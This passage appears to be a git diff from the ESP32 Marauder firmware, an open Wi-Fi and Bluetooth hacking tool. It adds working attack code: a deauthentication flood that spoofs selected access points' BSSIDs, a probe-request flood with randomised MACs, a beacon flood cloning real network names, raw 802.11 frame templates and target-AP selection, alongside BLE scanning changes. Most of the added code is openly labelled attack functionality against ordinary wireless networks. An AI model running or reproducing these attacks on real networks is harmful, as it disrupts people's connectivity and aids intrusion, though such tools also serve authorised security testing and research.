packets_sent = 0;
|
||||
//esp_wifi_set_mode(WIFI_MODE_STA);
|
||||
//WiFi.mode(WIFI_AP_STA);
|
||||
esp_wifi_init(&cfg);
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
//WiFi.mode(WIFI_AP_STA);
|
||||
esp_wifi_set_mode(WIFI_AP_STA);
|
||||
esp_wifi_start();
|
||||
esp_wifi_set_promiscuous_filter(NULL);
|
||||
esp_wifi_set_promiscuous(true);
|
||||
esp_wifi_set_max_tx_power(78);
|
||||
this->wifi_initialized = true;
|
||||
initTime = millis();
|
||||
//display_obj.clearScreen();
|
||||
//Serial.println("End of func");
|
||||
}*/
|
||||
|
||||
// Function to prepare for beacon spam
|
||||
/*
|
||||
void WiFiScan::RunBeaconSpam(uint8_t scan_mode, uint16_t color)
|
||||
{
|
||||
//Serial.println("Beacon Spam...");
|
||||
@@ -802,7 +989,7 @@ void WiFiScan::RunBeaconSpam(uint8_t scan_mode, uint16_t color)
|
||||
initTime = millis();
|
||||
//display_obj.clearScreen();
|
||||
//Serial.println("End of func");
|
||||
}
|
||||
}*/
|
||||
|
||||
void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
|
||||
{
|
||||
@@ -949,9 +1136,9 @@ void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
|
||||
|
||||
Serial.println("BT Controller Status: " + (String)esp_bt_controller_get_status());
|
||||
*/
|
||||
|
||||
BLEDevice::init("");
|
||||
pBLEScan = BLEDevice::getScan(); //create new scan
|
||||
NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
|
||||
NimBLEDevice::init("");
|
||||
pBLEScan = NimBLEDevice::getScan(); //create new scan
|
||||
if (scan_mode == BT_SCAN_ALL)
|
||||
{
|
||||
display_obj.TOP_FIXED_AREA_2 = 48;
|
||||
@@ -965,7 +1152,7 @@ void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
|
||||
display_obj.touchToExit();
|
||||
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
|
||||
display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
|
||||
pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback());
|
||||
pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
|
||||
//bluetoothScanAllCallback myCallbacks;
|
||||
//pBLEScan->setAdvertisedDeviceCallbacks(&myCallbacks);
|
||||
}
|
||||
@@ -983,12 +1170,13 @@ void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
|
||||
display_obj.twoPartDisplay("Scanning for\nBluetooth-enabled skimmers\nHC-03, HC-05, and HC-06...");
|
||||
display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
|
||||
display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
|
||||
pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback());
|
||||
pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
|
||||
}
|
||||
pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
|
||||
pBLEScan->setInterval(100);
|
||||
pBLEScan->setWindow(99); // less or equal setInterval value
|
||||
pBLEScan->start(0, scanCompleteCB);
|
||||
pBLEScan->setInterval(97);
|
||||
pBLEScan->setWindow(37); // less or equal setInterval value
|
||||
pBLEScan->setMaxResults(0);
|
||||
pBLEScan->start(0, scanCompleteCB, false);
|
||||
Serial.println("Started BLE Scan");
|
||||
this->ble_initialized = true;
|
||||
initTime = millis();
|
||||
@@ -1177,6 +1365,118 @@ void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
|
||||
}
|
||||
}
|
||||
|
||||
void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
|
||||
WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
|
||||
wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
|
||||
int len = snifferPacket->rx_ctrl.sig_len;
|
||||
|
||||
String display_string = "";
|
||||
String essid = "";
|
||||
String bssid = "";
|
||||
|
||||
if (type == WIFI_PKT_MGMT)
|
||||
{
|
||||
len -= 4;
|
||||
int fctl = ntohs(frameControl->fctl);
|
||||
const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
|
||||
const WifiMgmtHdr *hdr = &ipkt->hdr;
|
||||
|
||||
// If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
|
||||
if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
|
||||
{
|
||||
char addr[] = "00:00:00:00:00:00";
|
||||
getMAC(addr, snifferPacket->payload, 10);
|
||||
|
||||
bool in_list = false;
|
||||
bool mac_match = true;
|
||||
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
mac_match = true;
|
||||
//Serial.print("Checking ");
|
||||
//Serial.print(addr);
|
||||
//Serial.println(" against " + (String)access_points->get(i).essid);
|
||||
|
||||
|
||||
for (int x = 0; x < 6; x++) {
|
||||
//Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
|
||||
if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
|
||||
mac_match = false;
|
||||
//Serial.println("MACs do not match");
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (mac_match) {
|
||||
in_list = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!in_list) {
|
||||
|
||||
delay(random(0, 10));
|
||||
Serial.print("RSSI: ");
|
||||
Serial.print(snifferPacket->rx_ctrl.rssi);
|
||||
Serial.print(" Ch: ");
|
||||
Serial.print(snifferPacket->rx_ctrl.channel);
|
||||
Serial.print(" BSSID: ");
|
||||
Serial.print(addr);
|
||||
display_string.concat(addr);
|
||||
Serial.print(" ESSID: ");
|
||||
display_string.concat(" -> ");
|
||||
for (int i = 0; i < snifferPacket->payload[37]; i++)
|
||||
{
|
||||
Serial.print((char)snifferPacket->payload[i + 38]);
|
||||
display_string.concat((char)snifferPacket->payload[i + 38]);
|
||||
essid.concat((char)snifferPacket->payload[i + 38]);
|
||||
|
||||
|
||||
}
|
||||
|
||||
bssid.concat(addr);
|
||||
|
||||
int temp_len = display_string.length();
|
||||
for (int i = 0; i < 40 - temp_len; i++)
|
||||
{
|
||||
display_string.concat(" ");
|
||||
}
|
||||
|
||||
Serial.print(" ");
|
||||
|
||||
if (display_obj.display_buffer->size() == 0)
|
||||
{
|
||||
display_obj.loading = true;
|
||||
display_obj.display_buffer->add(display_string);
|
||||
display_obj.loading = false;
|
||||
}
|
||||
if (essid == "") {
|
||||
essid = bssid;
|
||||
Serial.print(essid + " ");
|
||||
}
|
||||
|
||||
AccessPoint ap = {essid,
|
||||
snifferPacket->rx_ctrl.channel,
|
||||
{snifferPacket->payload[10],
|
||||
snifferPacket->payload[11],
|
||||
snifferPacket->payload[12],
|
||||
snifferPacket->payload[13],
|
||||
snifferPacket->payload[14],
|
||||
snifferPacket->payload[15]},
|
||||
false};
|
||||
|
||||
access_points->add(ap);
|
||||
|
||||
Serial.print(access_points->size());
|
||||
|
||||
Serial.println();
|
||||
|
||||
sd_obj.addPacket(snifferPacket->payload, len);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
|
||||
@@ -1615,6 +1915,139 @@ void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
|
||||
//Serial.println("Sent packets");
|
||||
}
|
||||
|
||||
// Function to send probe flood to all "active" access points
|
||||
void WiFiScan::sendProbeAttack(uint32_t currentTime) {
|
||||
// Itterate through all access points in list
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
|
||||
// Check if active
|
||||
if (access_points->get(i).selected) {
|
||||
this->set_channel = access_points->get(i).channel;
|
||||
esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
|
||||
delay(1);
|
||||
|
||||
// Build packet
|
||||
// Randomize SRC MAC
|
||||
|
||||
prob_req_packet[10] = random(256);
|
||||
prob_req_packet[11] = random(256);
|
||||
prob_req_packet[12] = random(256);
|
||||
prob_req_packet[13] = random(256);
|
||||
prob_req_packet[14] = random(256);
|
||||
prob_req_packet[15] = random(256);
|
||||
|
||||
/*
|
||||
prob_req_packet[10] = 0xde;
|
||||
prob_req_packet[11] = 0xad;
|
||||
prob_req_packet[12] = 0xbe;
|
||||
prob_req_packet[13] = 0xef;
|
||||
prob_req_packet[14] = 0xde;
|
||||
prob_req_packet[15] = 0xad;
|
||||
*/
|
||||
|
||||
// Set dest
|
||||
//assoc_packet[4] = access_points->get(i).bssid[0];
|
||||
//assoc_packet[5] = access_points->get(i).bssid[1];
|
||||
//assoc_packet[6] = access_points->get(i).bssid[2];
|
||||
//assoc_packet[7] = access_points->get(i).bssid[3];
|
||||
//assoc_packet[8] = access_points->get(i).bssid[4];
|
||||
//assoc_packet[9] = access_points->get(i).bssid[5];
|
||||
|
||||
// Set det No. 2
|
||||
//assoc_packet[16] = access_points->get(i).bssid[0];
|
||||
//assoc_packet[17] = access_points->get(i).bssid[1];
|
||||
//assoc_packet[18] = access_points->get(i).bssid[2];
|
||||
//assoc_packet[19] = access_points->get(i).bssid[3];
|
||||
//assoc_packet[20] = access_points->get(i).bssid[4];
|
||||
//assoc_packet[21] = access_points->get(i).bssid[5];
|
||||
|
||||
// Set SSID length
|
||||
int ssidLen = access_points->get(i).essid.length();
|
||||
//int rand_len = sizeof(rand_reg);
|
||||
int fullLen = ssidLen;
|
||||
prob_req_packet[25] = fullLen;
|
||||
|
||||
// Insert ESSID
|
||||
char buf[access_points->get(i).essid.length() + 1] = {};
|
||||
access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
|
||||
|
||||
for(int i = 0; i < ssidLen; i++)
|
||||
prob_req_packet[26 + i] = buf[i];
|
||||
|
||||
/*
|
||||
* 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
|
||||
0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
|
||||
0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
|
||||
0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00
|
||||
*/
|
||||
|
||||
uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
|
||||
0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
|
||||
0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
|
||||
0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00};
|
||||
|
||||
uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
|
||||
|
||||
for (int i = 0; i < 26 + fullLen; i++)
|
||||
good_probe_req_packet[i] = prob_req_packet[i];
|
||||
|
||||
for(int i = 0; i < 40; i++)
|
||||
good_probe_req_packet[26 + fullLen + i] = postSSID[i];
|
||||
|
||||
|
||||
|
||||
// Send packet
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
|
||||
|
||||
packets_sent = packets_sent + 3;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
|
||||
// Itterate through all access points in list
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
|
||||
// Check if active
|
||||
if (access_points->get(i).selected) {
|
||||
this->set_channel = access_points->get(i).channel;
|
||||
esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
|
||||
delay(1);
|
||||
|
||||
// Build packet
|
||||
|
||||
deauth_frame_default[10] = access_points->get(i).bssid[0];
|
||||
deauth_frame_default[11] = access_points->get(i).bssid[1];
|
||||
deauth_frame_default[12] = access_points->get(i).bssid[2];
|
||||
deauth_frame_default[13] = access_points->get(i).bssid[3];
|
||||
deauth_frame_default[14] = access_points->get(i).bssid[4];
|
||||
deauth_frame_default[15] = access_points->get(i).bssid[5];
|
||||
|
||||
deauth_frame_default[16] = access_points->get(i).bssid[0];
|
||||
deauth_frame_default[17] = access_points->get(i).bssid[1];
|
||||
deauth_frame_default[18] = access_points->get(i).bssid[2];
|
||||
deauth_frame_default[19] = access_points->get(i).bssid[3];
|
||||
deauth_frame_default[20] = access_points->get(i).bssid[4];
|
||||
deauth_frame_default[21] = access_points->get(i).bssid[5];
|
||||
|
||||
// Send packet
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
|
||||
|
||||
packets_sent = packets_sent + 3;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
@@ -2237,6 +2670,13 @@ void WiFiScan::channelHop()
|
||||
delay(1);
|
||||
}
|
||||
|
||||
char* WiFiScan::stringToChar(String string) {
|
||||
char buf[string.length() + 1] = {};
|
||||
string.toCharArray(buf, string.length() + 1);
|
||||
|
||||
return buf;
|
||||
}
|
||||
|
||||
|
||||
// Function for updating scan status
|
||||
void WiFiScan::main(uint32_t currentTime)
|
||||
@@ -2244,6 +2684,7 @@ void WiFiScan::main(uint32_t currentTime)
|
||||
// WiFi operations
|
||||
if ((currentScanMode == WIFI_SCAN_PROBE) ||
|
||||
(currentScanMode == WIFI_SCAN_AP) ||
|
||||
(currentScanMode == WIFI_SCAN_TARGET_AP) ||
|
||||
(currentScanMode == WIFI_SCAN_PWN) ||
|
||||
(currentScanMode == WIFI_SCAN_ESPRESSIF) ||
|
||||
(currentScanMode == WIFI_SCAN_DEAUTH) ||
|
||||
@@ -2263,6 +2704,73 @@ void WiFiScan::main(uint32_t currentTime)
|
||||
{
|
||||
eapolMonitorMain(currentTime);
|
||||
}
|
||||
else if (currentScanMode == WIFI_ATTACK_AUTH) {
|
||||
for (int i = 0; i < 55; i++)
|
||||
this->sendProbeAttack(currentTime);
|
||||
|
||||
if (currentTime - initTime >= 1000) {
|
||||
initTime = millis();
|
||||
String displayString = "";
|
||||
String displayString2 = "";
|
||||
displayString.concat("packets/sec: ");
|
||||
displayString.concat(packets_sent);
|
||||
for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
|
||||
displayString2.concat(" ");
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
display_obj.showCenterText(displayString2, 160);
|
||||
display_obj.showCenterText(displayString, 160);
|
||||
packets_sent = 0;
|
||||
}
|
||||
}
|
||||
else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
|
||||
for (int i = 0; i < 55; i++)
|
||||
this->sendDeauthAttack(currentTime);
|
||||
|
||||
if (currentTime - initTime >= 1000) {
|
||||
initTime = millis();
|
||||
String displayString = "";
|
||||
String displayString2 = "";
|
||||
displayString.concat("packets/sec: ");
|
||||
displayString.concat(packets_sent);
|
||||
for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
|
||||
displayString2.concat(" ");
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
display_obj.showCenterText(displayString2, 160);
|
||||
display_obj.showCenterText(displayString, 160);
|
||||
packets_sent = 0;
|
||||
}
|
||||
}
|
||||
else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
|
||||
// Need this for loop because getTouch causes ~10ms delay
|
||||
// which makes beacon spam less effective
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected)
|
||||
this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
|
||||
random(256),
|
||||
random(256),
|
||||
random(256),
|
||||
random(256),
|
||||
random(256)}});
|
||||
}
|
||||
|
||||
|
||||
if (currentTime - initTime >= 1000)
|
||||
{
|
||||
initTime = millis();
|
||||
//Serial.print("packets/sec: ");
|
||||
//Serial.println(packets_sent);
|
||||
String displayString = "";
|
||||
String displayString2 = "";
|
||||
displayString.concat("packets/sec: ");
|
||||
displayString.concat(packets_sent);
|
||||
for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
|
||||
displayString2.concat(" ");
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
display_obj.showCenterText(displayString2, 160);
|
||||
display_obj.showCenterText(displayString, 160);
|
||||
packets_sent = 0;
|
||||
}
|
||||
}
|
||||
else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
|
||||
{
|
||||
// Need this for loop because getTouch causes ~10ms delay
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
|
||||
// Testing NimBLE
|
||||
#include <NimBLEDevice.h>
|
||||
#include <NimBLEAdvertisedDevice.h>
|
||||
//#include <NimBLEAdvertisedDevice.h>
|
||||
|
||||
#include <WiFi.h>
|
||||
#include <math.h>
|
||||
@@ -45,6 +45,11 @@
|
||||
#define LV_JOIN_WIFI 13
|
||||
#define LV_ADD_SSID 14
|
||||
#define WIFI_ATTACK_BEACON_LIST 15
|
||||
#define WIFI_SCAN_TARGET_AP 16
|
||||
#define LV_SELECT_AP 17
|
||||
#define WIFI_ATTACK_AUTH 18
|
||||
#define WIFI_ATTACK_MIMIC 19
|
||||
#define WIFI_ATTACK_DEAUTH 20
|
||||
|
||||
#define GRAPH_REFRESH 100
|
||||
|
||||
@@ -57,12 +62,20 @@ extern BatteryInterface battery_obj;
|
||||
extern TemperatureInterface temp_obj;
|
||||
|
||||
esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
|
||||
//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
|
||||
|
||||
struct ssid {
|
||||
String essid;
|
||||
int bssid[6];
|
||||
};
|
||||
|
||||
struct AccessPoint {
|
||||
String essid;
|
||||
int channel;
|
||||
int bssid[6];
|
||||
bool selected;
|
||||
};
|
||||
|
||||
class WiFiScan
|
||||
{
|
||||
private:
|
||||
@@ -79,6 +92,8 @@ class WiFiScan
|
||||
|
||||
bool do_break = false;
|
||||
|
||||
bool wsl_bypass_enabled = false;
|
||||
|
||||
//int num_beacon = 0; // GREEN
|
||||
//int num_probe = 0; // BLUE
|
||||
//int num_deauth = 0; // RED
|
||||
@@ -88,7 +103,7 @@ class WiFiScan
|
||||
int bluetoothScanTime = 5;
|
||||
int packets_sent = 0;
|
||||
const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};
|
||||
BLEScan* pBLEScan;
|
||||
NimBLEScan* pBLEScan;
|
||||
|
||||
//String connected_network = "";
|
||||
String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
|
||||
@@ -118,8 +133,8 @@ class WiFiScan
|
||||
} __attribute__((packed)) WifiMgmtHdr;
|
||||
|
||||
typedef struct {
|
||||
WifiMgmtHdr hdr;
|
||||
uint8_t payload[0];
|
||||
WifiMgmtHdr hdr;
|
||||
} wifi_ieee80211_packet_t;
|
||||
|
||||
// barebones packet
|
||||
@@ -135,6 +150,52 @@ class WiFiScan
|
||||
/*36*/ 0x00
|
||||
};
|
||||
|
||||
/*uint8_t auth_packet[128] = {0xB0, 0x00, 0x3C, 0x00, // Frame Control, Duration
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest BSSID
|
||||
0x00, 0x01, // Sequence number
|
||||
0x00, 0x00, // Algo
|
||||
0x01, 0x00, // Auth sequence number
|
||||
0x00, 0x00, // Status Code
|
||||
0x7F, 0x08,
|
||||
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x40,
|
||||
0xDD, 0x0B, 0x00, 0x17, 0xF2, 0x0A, 0x00, 0x01, // Say it was Apple
|
||||
0x04, 0x00, 0x00, 0x00, 0x00, 0xDD, 0x0A, 0x00,
|
||||
0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 0x00, 0x00,
|
||||
0x00
|
||||
};*/
|
||||
uint8_t auth_packet[65] = {0xb0, 0x00, 0x3c, 0x00,
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
|
||||
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x7f, 0x08, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
|
||||
0x00, 0x40, 0xdd, 0x0b, 0x00, 0x17, 0xf2, 0x0a,
|
||||
0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0xdd,
|
||||
0x0a, 0x00, 0x10, 0x18, 0x02, 0x00, 0x00, 0x10,
|
||||
0x00, 0x00, 0x00};
|
||||
|
||||
uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00,
|
||||
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Dest
|
||||
0x01, 0x00, // Sequence
|
||||
0x00, // SSID Parameter
|
||||
0x00, // SSID Length
|
||||
/* SSID */
|
||||
};
|
||||
|
||||
uint8_t deauth_frame_default[26] = {
|
||||
0xc0, 0x00, 0x3a, 0x01,
|
||||
0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xf0, 0xff, 0x02, 0x00
|
||||
};
|
||||
|
||||
void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
|
||||
|
||||
void packetMonitorMain(uint32_t currentTime);
|
||||
void eapolMonitorMain(uint32_t currentTime);
|
||||
void changeChannel();
|
||||
@@ -144,12 +205,18 @@ class WiFiScan
|
||||
void tftDrawChannelScaleButtons();
|
||||
void tftDrawColorKey();
|
||||
void tftDrawGraphObjects();
|
||||
void sendProbeAttack(uint32_t currentTime);
|
||||
void sendDeauthAttack(uint32_t currentTime);
|
||||
void broadcastRandomSSID(uint32_t currentTime);
|
||||
void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
|
||||
void broadcastSetSSID(uint32_t current_time, char* ESSID);
|
||||
void RunRickRoll(uint8_t scan_mode, uint16_t color);
|
||||
void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
|
||||
void RunBeaconList(uint8_t scan_mode, uint16_t color);
|
||||
void RunAPScan(uint8_t scan_mode, uint16_t color);
|
||||
//void RunRickRoll(uint8_t scan_mode, uint16_t color);
|
||||
//void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
|
||||
//void RunProbeFlood(uint8_t scan_mode, uint16_t color);
|
||||
//void RunDeauthFlood(uint8_t scan_mode, uint16_t color);
|
||||
void RunMimicFlood(uint8_t scan_mode, uint16_t color);
|
||||
//void RunBeaconList(uint8_t scan_mode, uint16_t color);
|
||||
void RunEspressifScan(uint8_t scan_mode, uint16_t color);
|
||||
void RunPwnScan(uint8_t scan_mode, uint16_t color);
|
||||
void RunBeaconScan(uint8_t scan_mode, uint16_t color);
|
||||
@@ -161,9 +228,13 @@ class WiFiScan
|
||||
void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
|
||||
static void scanCompleteCB(BLEScanResults scanResults);
|
||||
|
||||
//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
|
||||
|
||||
public:
|
||||
WiFiScan();
|
||||
|
||||
//AccessPoint ap_list;
|
||||
|
||||
//LinkedList<ssid>* ssids;
|
||||
|
||||
int set_channel = 1;
|
||||
@@ -180,10 +251,12 @@ class WiFiScan
|
||||
|
||||
//lv_obj_t * scr = lv_cont_create(NULL, NULL);
|
||||
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
|
||||
char* stringToChar(String string);
|
||||
void RunSetup();
|
||||
int clearSSIDs();
|
||||
int clearAPs();
|
||||
bool addSSID(String essid);
|
||||
int generateSSIDs();
|
||||
bool shutdownWiFi();
|
||||
@@ -197,6 +270,7 @@ class WiFiScan
|
||||
void RunShutdownBLE();
|
||||
void RunGenerateSSIDs();
|
||||
void RunClearSSIDs();
|
||||
void RunClearAPs();
|
||||
void channelHop();
|
||||
uint8_t currentScanMode = 0;
|
||||
void main(uint32_t currentTime);
|
||||
@@ -207,6 +281,7 @@ class WiFiScan
|
||||
static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
static void beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
|
||||
@@ -74,6 +74,8 @@ void setup()
|
||||
Serial.begin(115200);
|
||||
|
||||
//Serial.begin(115200);
|
||||
|
||||
Serial.println("ESP-IDF version is: " + String(esp_get_idf_version()));
|
||||
|
||||
display_obj.RunSetup();
|
||||
display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK);
|
||||
@@ -184,9 +186,9 @@ void setup()
|
||||
digitalWrite(TFT_BL, HIGH);
|
||||
*/
|
||||
|
||||
esp_obj.begin();
|
||||
//esp_obj.begin();
|
||||
|
||||
a32u4_obj.begin(); // This goes last to make sure nothing is messed up when reading serial
|
||||
//a32u4_obj.begin(); // This goes last to make sure nothing is messed up when reading serial
|
||||
|
||||
display_obj.tft.println(F("Starting..."));
|
||||
|
||||
@@ -214,8 +216,8 @@ void loop()
|
||||
sd_obj.main();
|
||||
battery_obj.main(currentTime);
|
||||
temp_obj.main(currentTime);
|
||||
esp_obj.main(currentTime);
|
||||
a32u4_obj.main(currentTime);
|
||||
//esp_obj.main(currentTime);
|
||||
//a32u4_obj.main(currentTime);
|
||||
//led_obj.main(currentTime);
|
||||
//if ((wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM))
|
||||
if ((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) &&
|
||||
@@ -233,7 +235,7 @@ void loop()
|
||||
else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
|
||||
display_obj.main(wifi_scan_obj.currentScanMode);
|
||||
menu_function_obj.main(currentTime);
|
||||
esp_obj.program();
|
||||
//esp_obj.program();
|
||||
delay(1);
|
||||
}
|
||||
//else
|
||||
|
||||
BIN
esp32_marauder/esp32_marauder_v0_9_3_20210724_kit.bin
Normal file
BIN
esp32_marauder/esp32_marauder_v0_9_3_20210724_kit.bin
Normal file
Binary file not shown.
BIN
esp32_marauder/esp32_marauder_v0_9_3_20210724_new_hardware.bin
Normal file
BIN
esp32_marauder/esp32_marauder_v0_9_3_20210724_new_hardware.bin
Normal file
Binary file not shown.
BIN
esp32_marauder/esp32_marauder_v0_9_3_20210724_old_hardware.bin
Normal file
BIN
esp32_marauder/esp32_marauder_v0_9_3_20210724_old_hardware.bin
Normal file
Binary file not shown.
BIN
pictures/IMG_3475 - Copy.jpg
Normal file
BIN
pictures/IMG_3475 - Copy.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 70 KiB |
BIN
pictures/IMG_3484 - Copy.jpg
Normal file
BIN
pictures/IMG_3484 - Copy.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 113 KiB |
BIN
pictures/IMG_3485 - Copy.jpg
Normal file
BIN
pictures/IMG_3485 - Copy.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 286 KiB |
BIN
pictures/IMG_3491 - Copy.jpg
Normal file
BIN
pictures/IMG_3491 - Copy.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 509 KiB |
Reference in New Issue
Block a user